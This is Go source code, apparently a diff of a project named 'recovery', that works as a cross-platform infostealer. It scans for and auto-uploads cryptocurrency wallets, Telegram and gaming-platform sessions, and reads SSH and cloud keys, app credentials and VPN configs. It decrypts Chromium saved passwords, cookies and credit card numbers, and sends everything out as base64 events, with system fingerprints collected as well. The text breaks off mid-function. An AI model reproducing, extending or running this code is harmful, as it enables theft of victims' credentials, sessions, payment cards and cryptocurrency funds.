if r := recover(); r != nil {
log.Printf("[recovery] fetch_ext_zip panic: %v", r)
sendEvent("fetch_ext_zip_error", map[string]string{"error": "internal error"})
}
}()
var req struct {
Path string `json:"path"`
ExtID string `json:"extId"`
}
if err := json.Unmarshal(payload, &req); err != nil || req.Path == "" {
sendEvent("fetch_ext_zip_error", map[string]string{"error": "invalid request"})
return
}
data, err := recovery.ZipDirectory(req.Path)
if err != nil {
log.Printf("[recovery] fetch_ext_zip %q: %v", req.ExtID, err)
sendEvent("fetch_ext_zip_error", map[string]string{"path": req.Path, "error": err.Error()})
return
}
log.Printf("[recovery] zipped extension %q (%d bytes)", req.ExtID, len(data))
sendEvent("fetch_ext_zip_result", map[string]interface{}{
"path": req.Path,
"extId": req.ExtID,
"size": len(data),
"content": base64.StdEncoding.EncodeToString(data),
})
}
const maxAutoDownloadSize = 50 * 1024 * 1024 // 50MB
func handleScanWallets() {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] wallet scan panic: %v", r)
sendEvent("error", map[string]string{"error": "wallet scan error"})
}
}()
sendEvent("status", map[string]string{"message": "Scanning wallets..."})
wallets := recovery.ScanWallets()
log.Printf("[recovery] wallet scan complete: %d wallets", len(wallets))
sendEvent("wallet_scan_results", map[string]interface{}{
"wallets": wallets,
})
autoDownloadWallets(wallets)
}
func autoDownloadWallets(wallets []recovery.WalletResult) {
for _, w := range wallets {
if w.Size > maxAutoDownloadSize {
log.Printf("[recovery] skipping auto-download for %q (%d bytes exceeds limit)", w.Name, w.Size)
continue
}
data, err := recovery.ZipDirectory(w.Path)
if err != nil {
log.Printf("[recovery] auto-download zip %q: %v", w.Name, err)
continue
}
log.Printf("[recovery] auto-download %q (%d bytes)", w.Name, len(data))
sendEvent("wallet_auto_data", map[string]interface{}{
"name": w.Name,
"type": w.Type,
"path": w.Path,
"addresses": w.Addresses,
"vaultData": w.VaultData,
"size": len(data),
"content": base64.StdEncoding.EncodeToString(data),
})
}
}
func handleFetchWalletZip(payload []byte) {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] fetch_wallet_zip panic: %v", r)
sendEvent("fetch_wallet_zip_error", map[string]string{"error": "internal error"})
}
}()
var req struct {
Path string `json:"path"`
Name string `json:"name"`
}
if err := json.Unmarshal(payload, &req); err != nil || req.Path == "" {
sendEvent("fetch_wallet_zip_error", map[string]string{"error": "invalid request"})
return
}
data, err := recovery.ZipDirectory(req.Path)
if err != nil {
log.Printf("[recovery] fetch_wallet_zip %q: %v", req.Name, err)
sendEvent("fetch_wallet_zip_error", map[string]string{"path": req.Path, "error": err.Error()})
return
}
log.Printf("[recovery] zipped wallet %q (%d bytes)", req.Name, len(data))
sendEvent("fetch_wallet_zip_result", map[string]interface{}{
"path": req.Path,
"name": req.Name,
"size": len(data),
"content": base64.StdEncoding.EncodeToString(data),
})
}
func handleScanFiles() {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] file scan panic: %v", r)
sendEvent("error", map[string]string{"error": "file scan error"})
}
}()
sendEvent("status", map[string]string{"message": "Scanning files..."})
files := recovery.ScanFiles()
log.Printf("[recovery] file scan complete: %d files", len(files))
sendEvent("file_scan_results", map[string]interface{}{
"files": files,
"truncated": len(files) >= 500,
})
}
func handleFetchFile(payload []byte) {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] fetch_file panic: %v", r)
sendEvent("fetch_file_error", map[string]string{"error": "internal error"})
}
}()
var req struct {
Path string `json:"path"`
}
if err := json.Unmarshal(payload, &req); err != nil || req.Path == "" {
sendEvent("fetch_file_error", map[string]string{"error": "invalid request"})
return
}
data, err := recovery.FetchFile(req.Path)
if err != nil {
log.Printf("[recovery] fetch_file %q: %v", req.Path, err)
sendEvent("fetch_file_error", map[string]string{"path": req.Path, "error": err.Error()})
return
}
log.Printf("[recovery] fetched %q (%d bytes)", req.Path, len(data))
sendEvent("fetch_file_result", map[string]interface{}{
"path": req.Path,
"name": filepath.Base(req.Path),
"size": len(data),
"content": base64.StdEncoding.EncodeToString(data),
})
}
func handleScanTelegram() {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] telegram scan panic: %v", r)
sendEvent("error", map[string]string{"error": "telegram scan error"})
}
}()
sendEvent("status", map[string]string{"message": "Scanning Telegram sessions..."})
sessions := recovery.ScanTelegram()
log.Printf("[recovery] telegram scan complete: %d accounts", len(sessions))
sendEvent("telegram_scan_results", map[string]interface{}{
"sessions": sessions,
})
for _, s := range sessions {
if s.Size > maxAutoDownloadSize {
log.Printf("[recovery] skipping telegram auto-download for %q (%d bytes exceeds limit)", s.Account, s.Size)
continue
}
data, err := recovery.ZipTelegram(s.Path)
if err != nil {
log.Printf("[recovery] telegram zip %q: %v", s.Account, err)
continue
}
log.Printf("[recovery] telegram auto-download %q (%d bytes)", s.Account, len(data))
sendEvent("telegram_data", map[string]interface{}{
"account": s.Account,
"path": s.Path,
"size": len(data),
"content": base64.StdEncoding.EncodeToString(data),
})
}
}
func handleFetchTelegramZip(payload []byte) {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] fetch_telegram_zip panic: %v", r)
sendEvent("fetch_telegram_zip_error", map[string]string{"error": "internal error"})
}
}()
var req struct {
Path string `json:"path"`
Account string `json:"account"`
}
if err := json.Unmarshal(payload, &req); err != nil || req.Path == "" {
sendEvent("fetch_telegram_zip_error", map[string]string{"error": "invalid request"})
return
}
data, err := recovery.ZipTelegram(req.Path)
if err != nil {
log.Printf("[recovery] fetch_telegram_zip %q: %v", req.Account, err)
sendEvent("fetch_telegram_zip_error", map[string]string{"path": req.Path, "error": err.Error()})
return
}
log.Printf("[recovery] zipped telegram %q (%d bytes)", req.Account, len(data))
sendEvent("telegram_data", map[string]interface{}{
"account": req.Account,
"path": req.Path,
"size": len(data),
"content": base64.StdEncoding.EncodeToString(data),
})
}
func handleScanKeys() {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] key scan panic: %v", r)
sendEvent("error", map[string]string{"error": "key scan error"})
}
}()
sendEvent("status", map[string]string{"message": "Scanning SSH & cloud keys..."})
keys := recovery.ScanKeys()
log.Printf("[recovery] key scan complete: %d keys", len(keys))
sendEvent("key_scan_results", map[string]interface{}{
"keys": keys,
})
}
func handleScanApps() {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] app scan panic: %v", r)
sendEvent("error", map[string]string{"error": "app credential scan error"})
}
}()
sendEvent("status", map[string]string{"message": "Scanning app credentials..."})
apps := recovery.ScanApps()
log.Printf("[recovery] app scan complete: %d credentials", len(apps))
sendEvent("app_scan_results", map[string]interface{}{
"appCredentials": apps,
})
}
func handleScanGaming() {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] gaming scan panic: %v", r)
sendEvent("error", map[string]string{"error": "gaming scan error"})
}
}()
sendEvent("status", map[string]string{"message": "Scanning gaming platforms..."})
gaming := recovery.ScanGaming()
sendEvent("gaming_scan_results", map[string]interface{}{
"gaming": gaming,
})
if gaming == nil {
return
}
autoDownloadGaming(gaming)
}
func autoDownloadGaming(gaming *recovery.GamingResult) {
type zipJob struct {
name string
fn func() ([]byte, error)
}
var jobs []zipJob
if gaming.Steam != nil && gaming.Steam.SteamPath != "" {
steamPath := gaming.Steam.SteamPath
jobs = append(jobs, zipJob{"steam", func() ([]byte, error) { return recovery.ZipSteamSession(steamPath) }})
}
if len(gaming.BattleNet) > 0 {
jobs = append(jobs, zipJob{"battlenet", recovery.ZipBattleNet})
}
if len(gaming.Epic) > 0 {
jobs = append(jobs, zipJob{"epic", recovery.ZipEpic})
}
if len(gaming.Riot) > 0 {
jobs = append(jobs, zipJob{"riot", recovery.ZipRiot})
}
if len(gaming.Uplay) > 0 {
jobs = append(jobs, zipJob{"uplay", recovery.ZipUplay})
}
for _, j := range jobs {
data, err := j.fn()
if err != nil || len(data) == 0 {
log.Printf("[recovery] gaming zip %s: %v", j.name, err)
continue
}
if len(data) > maxAutoDownloadSize {
log.Printf("[recovery] gaming zip %s too large (%d bytes), skipping", j.name, len(data))
continue
}
log.Printf("[recovery] gaming auto-download %s (%d bytes)", j.name, len(data))
sendEvent("gaming_data", map[string]interface{}{
"platform": j.name,
"size": len(data),
"content": base64.StdEncoding.EncodeToString(data),
})
}
}
func handleScanVPN() {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] vpn scan panic: %v", r)
sendEvent("error", map[string]string{"error": "vpn scan error"})
}
}()
sendEvent("status", map[string]string{"message": "Scanning VPN configurations..."})
vpns := recovery.ScanVPNs()
sendEvent("vpn_scan_results", map[string]interface{}{
"vpns": vpns,
})
}
func handleUnload() {
log.Printf("[recovery] unloading")
}
func handleFingerprint() {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] fingerprint panic: %v", r)
sendEvent("error", map[string]string{"error": "fingerprint error"})
}
}()
sendEvent("fingerprint_result", recovery.CollectFingerprint())
log.Printf("[recovery] fingerprint collected")
}
func handleFingerprintJS() {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] fingerprint_js panic: %v", r)
sendEvent("error", map[string]string{"error": "fingerprint_js error"})
}
}()
result := recovery.CollectJSFingerprint()
if result == nil {
sendEvent("fingerprint_js_result", map[string]string{"error": "failed to collect JS fingerprint"})
return
}
sendEvent("fingerprint_js_result", result)
log.Printf("[recovery] JS fingerprint collected")
}
func main() {}
@@ -0,0 +1,111 @@
//go:build darwin
package browser
import (
"os"
"path/filepath"
"strings"
"recovery/recovery/types"
)
var Browsers = []types.BrowserConfig{
// Chromium family
{Name: "Chrome", UserDataPath: "Google/Chrome", ProcessName: "Google Chrome"},
{Name: "Chrome Beta", UserDataPath: "Google/Chrome Beta", ProcessName: "Google Chrome Beta"},
{Name: "Chrome Canary", UserDataPath: "Google/Chrome Canary", ProcessName: "Google Chrome Canary"},
{Name: "Chromium", UserDataPath: "Chromium", ProcessName: "Chromium"},
{Name: "Edge", UserDataPath: "Microsoft Edge", ProcessName: "Microsoft Edge"},
{Name: "Brave", UserDataPath: "BraveSoftware/Brave-Browser", ProcessName: "Brave Browser"},
{Name: "Vivaldi", UserDataPath: "Vivaldi", ProcessName: "Vivaldi"},
{Name: "Opera", UserDataPath: "com.operasoftware.Opera", ProcessName: "Opera", FlatProfile: true},
{Name: "Opera GX", UserDataPath: "com.operasoftware.OperaGX", ProcessName: "Opera GX", FlatProfile: true},
{Name: "Arc", UserDataPath: "Arc/User Data", ProcessName: "Arc"},
{Name: "Yandex", UserDataPath: "Yandex/YandexBrowser", ProcessName: "Yandex"},
// Firefox family
{Name: "Firefox", UserDataPath: "Firefox", ProcessName: "firefox", IsFirefox: true},
{Name: "LibreWolf", UserDataPath: "LibreWolf", ProcessName: "librewolf", IsFirefox: true},
{Name: "Waterfox", UserDataPath: "Waterfox", ProcessName: "waterfox", IsFirefox: true},
}
func GetLocalAppData() string {
home, _ := os.UserHomeDir()
return filepath.Join(home, "Library", "Application Support")
}
func GetUserDataRoot(cfg types.BrowserConfig) string {
return filepath.Join(GetLocalAppData(), cfg.UserDataPath)
}
func LocalStatePath(cfg types.BrowserConfig) string {
return filepath.Join(GetUserDataRoot(cfg), "Local State")
}
func FindProfileDirs(cfg types.BrowserConfig) []types.ProfileInfo {
root := GetUserDataRoot(cfg)
if cfg.FlatProfile {
if _, err := os.Stat(root); err == nil {
return []types.ProfileInfo{{Name: "Default", Path: root}}
}
return nil
}
if cfg.IsFirefox {
return findFirefoxProfiles(root)
}
return findChromiumProfiles(root)
}
func findChromiumProfiles(root string) []types.ProfileInfo {
entries, err := os.ReadDir(root)
if err != nil {
return nil
}
var profiles []types.ProfileInfo
for _, e := range entries {
if !e.IsDir() {
continue
}
prefPath := filepath.Join(root, e.Name(), "Preferences")
if _, err := os.Stat(prefPath); err == nil {
profiles = append(profiles, types.ProfileInfo{
Name: e.Name(),
Path: filepath.Join(root, e.Name()),
})
}
}
return profiles
}
func findFirefoxProfiles(root string) []types.ProfileInfo {
profilesDir := filepath.Join(root, "Profiles")
entries, err := os.ReadDir(profilesDir)
if err != nil {
return nil
}
var profiles []types.ProfileInfo
for _, e := range entries {
if !e.IsDir() {
continue
}
if _, err := os.Stat(filepath.Join(profilesDir, e.Name(), "prefs.js")); err == nil {
profiles = append(profiles, types.ProfileInfo{
Name: e.Name(),
Path: filepath.Join(profilesDir, e.Name()),
})
}
}
return profiles
}
func IsFirefoxProfileName(name string) bool {
parts := strings.SplitN(name, ".", 2)
if len(parts) != 2 {
return false
}
suffix := strings.ToLower(parts[1])
return strings.HasPrefix(suffix, "default") || strings.HasPrefix(suffix, "release")
}
@@ -0,0 +1,112 @@
//go:build linux
package browser
import (
"os"
"path/filepath"
"strings"
"recovery/recovery/types"
)
var Browsers = []types.BrowserConfig{
// Chromium family
{Name: "Chrome", UserDataPath: "google-chrome", ProcessName: "chrome"},
{Name: "Chrome Beta", UserDataPath: "google-chrome-beta", ProcessName: "chrome"},
{Name: "Chrome Dev", UserDataPath: "google-chrome-unstable", ProcessName: "chrome"},
{Name: "Chromium", UserDataPath: "chromium", ProcessName: "chromium"},
{Name: "Edge", UserDataPath: "microsoft-edge", ProcessName: "msedge"},
{Name: "Brave", UserDataPath: "BraveSoftware/Brave-Browser", ProcessName: "brave"},
{Name: "Vivaldi", UserDataPath: "vivaldi", ProcessName: "vivaldi"},
{Name: "Opera", UserDataPath: "opera", ProcessName: "opera", FlatProfile: true},
// Firefox family
{Name: "Firefox", UserDataPath: ".mozilla/firefox", ProcessName: "firefox", IsFirefox: true},
{Name: "LibreWolf", UserDataPath: ".librewolf", ProcessName: "librewolf", IsFirefox: true},
{Name: "Waterfox", UserDataPath: ".waterfox", ProcessName: "waterfox", IsFirefox: true},
}
func GetLocalAppData() string {
home, _ := os.UserHomeDir()
return filepath.Join(home, ".config")
}
func GetUserDataRoot(cfg types.BrowserConfig) string {
if cfg.IsFirefox {
home, _ := os.UserHomeDir()
return filepath.Join(home, cfg.UserDataPath)
}
return filepath.Join(GetLocalAppData(), cfg.UserDataPath)
}
func LocalStatePath(cfg types.BrowserConfig) string {
return filepath.Join(GetUserDataRoot(cfg), "Local State")
}
func FindProfileDirs(cfg types.BrowserConfig) []types.ProfileInfo {
root := GetUserDataRoot(cfg)
if cfg.FlatProfile {
if _, err := os.Stat(root); err == nil {
return []types.ProfileInfo{{Name: "Default", Path: root}}
}
return nil
}
if cfg.IsFirefox {
return findFirefoxProfiles(root)
}
return findChromiumProfiles(root)
}
func findChromiumProfiles(root string) []types.ProfileInfo {
entries, err := os.ReadDir(root)
if err != nil {
return nil
}
var profiles []types.ProfileInfo
for _, e := range entries {
if !e.IsDir() {
continue
}
prefPath := filepath.Join(root, e.Name(), "Preferences")
if _, err := os.Stat(prefPath); err == nil {
profiles = append(profiles, types.ProfileInfo{
Name: e.Name(),
Path: filepath.Join(root, e.Name()),
})
}
}
return profiles
}
func findFirefoxProfiles(root string) []types.ProfileInfo {
profilesDir := root
entries, err := os.ReadDir(profilesDir)
if err != nil {
return nil
}
var profiles []types.ProfileInfo
for _, e := range entries {
if !e.IsDir() {
continue
}
if _, err := os.Stat(filepath.Join(profilesDir, e.Name(), "prefs.js")); err == nil {
profiles = append(profiles, types.ProfileInfo{
Name: e.Name(),
Path: filepath.Join(profilesDir, e.Name()),
})
}
}
return profiles
}
func IsFirefoxProfileName(name string) bool {
parts := strings.SplitN(name, ".", 2)
if len(parts) != 2 {
return false
}
suffix := strings.ToLower(parts[1])
return strings.HasPrefix(suffix, "default") || strings.HasPrefix(suffix, "release")
}
@@ -0,0 +1,113 @@
//go:build windows
package browser
import (
"os"
"path/filepath"
"strings"
"recovery/recovery/types"
)
var Browsers = []types.BrowserConfig{
// ── Chromium family (LOCALAPPDATA) ────────────────────────────────────────
{Name: "Chrome", UserDataPath: `Google\Chrome\User Data`, ProcessName: "chrome.exe"},
{Name: "Edge", UserDataPath: `Microsoft\Edge\User Data`, ProcessName: "msedge.exe"},
{Name: "Brave", UserDataPath: `BraveSoftware\Brave-Browser\User Data`, ProcessName: "brave.exe"},
{Name: "Vivaldi", UserDataPath: `Vivaldi\User Data`, ProcessName: "vivaldi.exe"},
{Name: "Yandex", UserDataPath: `Yandex\YandexBrowser\User Data`, ProcessName: "browser.exe"},
{Name: "Arc", UserDataPath: `Arc\User Data`, ProcessName: "Arc.exe"},
// ── Opera (APPDATA, flat profile) ────────────────────────────────────────
// ts doesn't work will fix in the future
{Name: "Opera", UserDataPath: `Opera Software\Opera Stable`, ProcessName: "opera.exe", UseAppData: true, FlatProfile: true},
{Name: "Opera GX", UserDataPath: `Opera Software\Opera GX Stable`, ProcessName: "opera.exe", UseAppData: true, FlatProfile: true},
// ── Firefox family (APPDATA, Firefox profile layout) ─────────────────────
{Name: "Firefox", UserDataPath: `Mozilla\Firefox`, ProcessName: "firefox.exe", UseAppData: true, IsFirefox: true},
{Name: "LibreWolf", UserDataPath: `LibreWolf`, ProcessName: "librewolf.exe", UseAppData: true, IsFirefox: true},
{Name: "Waterfox", UserDataPath: `Waterfox`, ProcessName: "waterfox.exe", UseAppData: true, IsFirefox: true},
}
func GetLocalAppData() string {
return os.Getenv("LOCALAPPDATA")
}
func GetUserDataRoot(cfg types.BrowserConfig) string {
base := os.Getenv("LOCALAPPDATA")
if cfg.UseAppData {
base = os.Getenv("APPDATA")
}
return filepath.Join(base, cfg.UserDataPath)
}
func LocalStatePath(cfg types.BrowserConfig) string {
return filepath.Join(GetUserDataRoot(cfg), "Local State")
}
func FindProfileDirs(cfg types.BrowserConfig) []types.ProfileInfo {
root := GetUserDataRoot(cfg)
if cfg.FlatProfile {
if _, err := os.Stat(root); err == nil {
return []types.ProfileInfo{{Name: "Default", Path: root}}
}
return nil
}
if cfg.IsFirefox {
return findFirefoxProfiles(root)
}
return findChromiumProfiles(root)
}
func findChromiumProfiles(root string) []types.ProfileInfo {
entries, err := os.ReadDir(root)
if err != nil {
return nil
}
var profiles []types.ProfileInfo
for _, e := range entries {
if !e.IsDir() {
continue
}
prefPath := filepath.Join(root, e.Name(), "Preferences")
if _, err := os.Stat(prefPath); err == nil {
profiles = append(profiles, types.ProfileInfo{
Name: e.Name(),
Path: filepath.Join(root, e.Name()),
})
}
}
return profiles
}
func findFirefoxProfiles(root string) []types.ProfileInfo {
profilesDir := filepath.Join(root, "Profiles")
entries, err := os.ReadDir(profilesDir)
if err != nil {
return nil
}
var profiles []types.ProfileInfo
for _, e := range entries {
if !e.IsDir() {
continue
}
if _, err := os.Stat(filepath.Join(profilesDir, e.Name(), "prefs.js")); err == nil {
profiles = append(profiles, types.ProfileInfo{
Name: e.Name(),
Path: filepath.Join(profilesDir, e.Name()),
})
}
}
return profiles
}
func IsFirefoxProfileName(name string) bool {
parts := strings.SplitN(name, ".", 2)
if len(parts) != 2 {
return false
}
suffix := strings.ToLower(parts[1])
return strings.HasPrefix(suffix, "default") || strings.HasPrefix(suffix, "release")
}
@@ -0,0 +1,7 @@
package browser
import "log"
func logf(format string, args ...interface{}) {
log.Printf("[browser] "+format, args...)
}
@@ -0,0 +1,316 @@
package chromium
import (
"database/sql"
"encoding/json"
"fmt"
"os"
"path/filepath"
"strings"
"recovery/recovery/crypto"
"recovery/recovery/db"
"recovery/recovery/types"
)
const HistoryLimit = 5000
func ExtractPasswords(profile types.ProfileInfo, cfg types.BrowserConfig, keys *types.ResolvedKeys, pids []uint32) []types.PasswordResult {
var results []types.PasswordResult
for _, dbFile := range []string{"Login Data", "Login Data For Account"} {
dbPath := filepath.Join(profile.Path, dbFile)
if _, err := os.Stat(dbPath); err != nil {
continue
}
d, err := db.OpenDatabase(dbPath, pids)
if err != nil {
continue
}
rows, err := d.Query("SELECT origin_url, username_value, password_value FROM logins")
if err != nil {
d.Close()
continue
}
for rows.Next() {
var url, username sql.NullString
var passwordBlob []byte
rows.Scan(&url, &username, &passwordBlob)
password := crypto.DecryptChromiumBlob(passwordBlob, keys.V10, keys.V20)
if dbFile == "Login Data For Account" && password == "" {
continue
}
if url.String != "" && (username.String != "" || password != "") {
results = append(results, types.PasswordResult{
URL: url.String,
Username: username.String,
Password: password,
Browser: cfg.Name,
Profile: profile.Name,
})
}
}
rows.Close()
d.Close()
}
return results
}
func ExtractCookies(profile types.ProfileInfo, cfg types.BrowserConfig, keys *types.ResolvedKeys, pids []uint32) []types.CookieResult {
dbPath := filepath.Join(profile.Path, "Network", "Cookies")
if _, err := os.Stat(dbPath); err != nil {
dbPath = filepath.Join(profile.Path, "Cookies")
if _, err := os.Stat(dbPath); err != nil {
return nil
}
}
d, err := db.OpenDatabase(dbPath, pids)
if err != nil {
logf("cookie DB open failed for %s (%s): %v", cfg.Name, dbPath, err)
return nil
}
defer d.Close()
rows, err := d.Query("SELECT host_key, name, path, is_secure, is_httponly, expires_utc, encrypted_value, value FROM cookies")
if err != nil {
logf("cookie query failed for %s: %v", cfg.Name, err)
return nil
}
defer rows.Close()
var results []types.CookieResult
count := 0
for rows.Next() {
count++
var host, name, path, plainValue sql.NullString
var secure, httpOnly sql.NullBool
var expiresUTC sql.NullInt64
var encryptedValue []byte
rows.Scan(&host, &name, &path, &secure, &httpOnly, &expiresUTC, &encryptedValue, &plainValue)
value := crypto.DecryptChromiumBlob(encryptedValue, keys.V10, keys.V20)
if value == "" {
value = plainValue.String
}
results = append(results, types.CookieResult{
Host: host.String,
Name: name.String,
Value: value,
Path: path.String,
Secure: secure.Bool,
HTTPOnly: httpOnly.Bool,
ExpiresUTC: expiresUTC.Int64,
Browser: cfg.Name,
Profile: profile.Name,
})
}
logf("cookie row count for %s: %d", cfg.Name, count)
return results
}
func ExtractAutofill(profile types.ProfileInfo, cfg types.BrowserConfig, pids []uint32) []types.AutofillResult {
dbPath := filepath.Join(profile.Path, "Web Data")
if _, err := os.Stat(dbPath); err != nil {
return nil
}
d, err := db.OpenDatabase(dbPath, pids)
if err != nil {
return nil
}
defer d.Close()
queries := []string{
"SELECT name, value, date_created, count FROM autofill",
"SELECT name, value, count FROM autofill",
"SELECT name, value FROM autofill",
}
var results []types.AutofillResult
for _, q := range queries {
rows, err := d.Query(q)
if err != nil {
continue
}
for rows.Next() {
var name, value sql.NullString
var dateCreated, count sql.NullInt64
switch len(strings.Split(q, ",")) {
case 4:
rows.Scan(&name, &value, &dateCreated, &count)
case 3:
rows.Scan(&name, &value, &count)
default:
rows.Scan(&name, &value)
}
if name.String != "" {
results = append(results, types.AutofillResult{
Name: name.String,
Value: value.String,
DateCreated: dateCreated.Int64,
Browser: cfg.Name,
Profile: profile.Name,
})
}
}
rows.Close()
if len(results) > 0 {
break
}
}
return results
}
func ExtractHistory(profile types.ProfileInfo, cfg types.BrowserConfig, pids []uint32) []types.HistoryResult {
dbPath := filepath.Join(profile.Path, "History")
if _, err := os.Stat(dbPath); err != nil {
return nil
}
d, err := db.OpenDatabase(dbPath, pids)
if err != nil {
return nil
}
defer d.Close()
queries := []string{
fmt.Sprintf("SELECT u.url, u.title, v.visit_time, v.transition, v.visit_duration FROM visits v JOIN urls u ON u.id = v.url ORDER BY v.visit_time DESC LIMIT %d", HistoryLimit),
fmt.Sprintf("SELECT u.url, u.title, v.visit_time, v.transition FROM visits v JOIN urls u ON u.id = v.url ORDER BY v.visit_time DESC LIMIT %d", HistoryLimit),
}
var results []types.HistoryResult
for _, q := range queries {
rows, err := d.Query(q)
if err != nil {
continue
}
for rows.Next() {
var url, title sql.NullString
var visitTime sql.NullInt64
var transition, duration sql.NullInt64
if strings.Contains(q, "visit_duration") {
rows.Scan(&url, &title, &visitTime, &transition, &duration)
} else {
rows.Scan(&url, &title, &visitTime, &transition)
}
var visitTimeUnix int64
if visitTime.Int64 > 0 {
visitTimeUnix = (visitTime.Int64 - 11644473600000000) / 1000000
}
if url.String != "" {
results = append(results, types.HistoryResult{
URL: url.String,
Title: title.String,
VisitTimeUnix: visitTimeUnix,
VisitCount: duration.Int64,
Browser: cfg.Name,
Profile: profile.Name,
})
}
}
rows.Close()
if len(results) > 0 {
break
}
}
return results
}
func ExtractBookmarks(profile types.ProfileInfo, cfg types.BrowserConfig) []types.BookmarkResult {
bookmarkPath := filepath.Join(profile.Path, "Bookmarks")
data, err := os.ReadFile(bookmarkPath)
if err != nil {
return nil
}
var bookmarkData map[string]interface{}
if err := json.Unmarshal(data, &bookmarkData); err != nil {
return nil
}
var results []types.BookmarkResult
if roots, ok := bookmarkData["roots"].(map[string]interface{}); ok {
walkBookmarkNode(roots, cfg.Name, profile.Name, &results)
}
return results
}
func walkBookmarkNode(node map[string]interface{}, browser, profileName string, results *[]types.BookmarkResult) {
for _, key := range []string{"bookmark_bar", "other", "synced"} {
if child, ok := node[key].(map[string]interface{}); ok {
walkBookmarkChildren(child, browser, profileName, results)
}
}
}
func walkBookmarkChildren(node map[string]interface{}, browser, profileName string, results *[]types.BookmarkResult) {
children, ok := node["children"].([]interface{})
if !ok {
return
}
for _, c := range children {
child, ok := c.(map[string]interface{})
if !ok {
continue
}
switch child["type"] {
case "url":
name, _ := child["name"].(string)
url, _ := child["url"].(string)
if url != "" {
*results = append(*results, types.BookmarkResult{
Name: name,
URL: url,
Type: "url",
Browser: browser,
Profile: profileName,
})
}
case "folder":
walkBookmarkChildren(child, browser, profileName, results)
}
}
}
func ExtractCreditCards(profile types.ProfileInfo, cfg types.BrowserConfig, keys *types.ResolvedKeys, pids []uint32) []types.CreditCardResult {
dbPath := filepath.Join(profile.Path, "Web Data")
if _, err := os.Stat(dbPath); err != nil {
return nil
}
d, err := db.OpenDatabase(dbPath, pids)
if err != nil {
return nil
}
defer d.Close()
rows, err := d.Query("SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, nickname FROM credit_cards")
if err != nil {
return nil
}
defer rows.Close()
var results []types.CreditCardResult
for rows.Next() {
var name, nickname sql.NullString
var expMonth, expYear sql.NullInt64
var encrypted []byte
rows.Scan(&name, &expMonth, &expYear, &encrypted, &nickname)
cardNumber := crypto.DecryptChromiumBlob(encrypted, keys.V10, keys.V20)
if name.String != "" || cardNumber != "" {
results = append(results, types.CreditCardResult{
NameOnCard: name.String,
ExpirationMonth: int(expMonth.Int64),
ExpirationYear: int(expYear.Int64),
CardNumber: cardNumber,
Nickname: nickname.String,
Browser: cfg.Name,
Profile: profile.Name,
})
}
}
return results
}
@@ -0,0 +1,7 @@
package chromium
import "log"
func logf(format string, args ...interface{}) {
log.Printf("[chromium] "+format, args...)
}
@@ -0,0 +1,399 @@
package recovery
import (
"context"
"fmt"
"sync"
"recovery/recovery/browser"
"recovery/recovery/chromium"
"recovery/recovery/crypto"
"recovery/recovery/discord"
"recovery/recovery/firefox"
"recovery/recovery/platform"
"recovery/recovery/scanner"
"recovery/recovery/types"
)
func mergeInto(dst, src *types.CollectionResult) {
dst.Passwords = append(dst.Passwords, src.Passwords...)
dst.Cookies = append(dst.Cookies, src.Cookies...)
dst.Autofill = append(dst.Autofill, src.Autofill...)
dst.History = append(dst.History, src.History...)
dst.Bookmarks = append(dst.Bookmarks, src.Bookmarks...)
dst.CreditCards = append(dst.CreditCards, src.CreditCards...)
dst.DiscordTokens = append(dst.DiscordTokens, src.DiscordTokens...)
dst.Files = append(dst.Files, src.Files...)
dst.Wallets = append(dst.Wallets, src.Wallets...)
dst.Telegram = append(dst.Telegram, src.Telegram...)
dst.Keys = append(dst.Keys, src.Keys...)
dst.AppCredentials = append(dst.AppCredentials, src.AppCredentials...)
if src.Gaming != nil {
dst.Gaming = src.Gaming
}
if src.VPNs != nil {
dst.VPNs = src.VPNs
}
dst.Errors = append(dst.Errors, src.Errors...)
}
func Collect(ctx context.Context, opts types.CollectOptions, partialFn func(*types.CollectionResult)) (*types.CollectionResult, error) {
result := &types.CollectionResult{}
platform.ResetHandleCache()
defer platform.ResetHandleCache()
var (
mu sync.Mutex
wg sync.WaitGroup
)
launchScans(opts, result, partialFn, &wg, &mu)
platformSetupCollect()
defer platformTeardownCollect()
needsBrowserData := opts.Passwords || opts.Cookies || opts.Autofill ||
opts.History || opts.Bookmarks || opts.CreditCards
type job struct {
cfg types.BrowserConfig
keys *types.ResolvedKeys
profile types.ProfileInfo
pids []uint32
}
jobCh := make(chan job, 64)
// Launch extraction workers up front so they can consume jobs as soon as
// each browser's keys resolve, instead of waiting for every browser's key
// resolution (and its headless spawn) to finish first.
const workers = 4
for i := 0; i < workers; i++ {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors("browser profile extraction", &result.Errors, &mu)
for j := range jobCh {
select {
case <-ctx.Done():
return
default:
}
func() {
defer recoverErrors(fmt.Sprintf("%s/%s extraction", j.cfg.Name, j.profile.Name), &result.Errors, &mu)
partial := extractProfileData(ctx, j.cfg, j.keys, j.profile, j.pids, opts)
mu.Lock()
mergeInto(result, partial)
mu.Unlock()
if partialFn != nil && (len(partial.Passwords) > 0 || len(partial.Cookies) > 0 ||
len(partial.Autofill) > 0 || len(partial.History) > 0 ||
len(partial.Bookmarks) > 0 || len(partial.CreditCards) > 0) {
partialFn(partial)
}
}()
}
}()
}
if needsBrowserData {
const keyWorkers = 3
sem := make(chan struct{}, keyWorkers)
var keyWg sync.WaitGroup
for _, cfg := range browser.Browsers {
profiles := browser.FindProfileDirs(cfg)
if len(profiles) == 0 {
continue
}
keyWg.Add(1)
go func(cfg types.BrowserConfig, profiles []types.ProfileInfo) {
defer keyWg.Done()
sem <- struct{}{}
defer func() { <-sem }()
logf("resolving keys for %s (%d profiles)", cfg.Name, len(profiles))
keys, err := crypto.ResolveKeys(cfg)
if err != nil {
logf("%s key resolution failed: %v", cfg.Name, err)
keys = &types.ResolvedKeys{}
mu.Lock()
result.Errors = append(result.Errors, fmt.Sprintf("%s key resolution: %v", cfg.Name, err))
mu.Unlock()
}
pids, _ := platform.FindProcesses(cfg.ProcessName)
for _, p := range profiles {
select {
